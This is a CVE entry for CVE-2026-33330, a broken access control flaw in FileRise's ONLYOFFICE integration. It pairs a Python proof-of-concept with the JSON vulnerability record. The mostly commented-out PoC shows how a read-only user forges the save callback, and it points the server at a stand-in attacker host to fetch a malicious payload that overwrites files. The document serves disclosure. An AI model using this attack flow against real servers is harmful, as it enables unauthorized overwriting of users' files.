CVE-2026-33330

import requests # Proof of Concept for CVE-2026-33330 # Demonstrates how a read-only user might exploit the broken access control target_url = "http://target-filerise-instance.com" file_id = "1" malicious_file_url = "http://attacker-controlled-server.com/malicious_payload.bin" # 1. Authenticate as a low-privileged (read-only) user # session = requests.post(f"{target_url}/api/login", json={"username": "readonly_user", "password": "password"}) # 2. Request file edit details to obtain the signed 'callbackUrl' # In a real scenario, this endpoint returns the configuration for ONLYOFFICE # edit_response = session.get(f"{target_url}/api/files/{file_id}/edit") # callback_url = edit_response.json().get('callbackUrl') # The vulnerable signed URL callback_url = "http://target-filerise-instance.com/api/callback?signature=..." # Placeholder # 3. Forge the save callback request # The payload mimics what ONLYOFFICE sends when saving a document payload = { "status": 2, "url": malicious_file_url, "key": "file_key_identifier", "users": ["readonly_user"] } # 4. Send the forged request to overwrite the file # response = requests.post(callback_url, json=payload) # if response.status_code == 200: # print("[+] Exploit successful! File overwritten.") # else: # print("[-] Exploit failed.") print(f"Simulating POST request to: {callback_url}") print(f"Payload: {payload}")

{"cve": {"id": "CVE-2026-33330", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:28.387", "lastModified": "2026-03-26T11:58:39.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web file manager / WebDAV server. Prior to version 3.10.0, a broken access control issue in FileRise's ONLYOFFICE integration allows an authenticated user with read-only access to obtain a signed save callbackUrl for a file and then directly forge the ONLYOFFICE save callback to overwrite that file with attacker-controlled content. This issue has been patched in version 3.10.0."}, {"lang": "es", "value": "FileRise es un gestor de archivos web autoalojado / servidor WebDAV. Antes de la versión 3.10.0, un problema de control de acceso roto en la integración de ONLYOFFICE de FileRise permite a un usuario autenticado con acceso de solo lectura obtener una callbackUrl de guardado firmada para un archivo y luego falsificar directamente la callback de guardado de ONLYOFFICE para sobrescribir ese archivo con contenido controlado por el atacante. Este problema ha sido parcheado en la versión 3.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.0", "matchCriteriaId": "1B339ADF-A894-4CDC-9253-2FCD475FB12F"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/commit/3871f9fd1661688bed4f7dd23912be0ebf50973c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/error311/FileRise/releases/tag/v3.10.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-6c3j-f4x4-36m3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}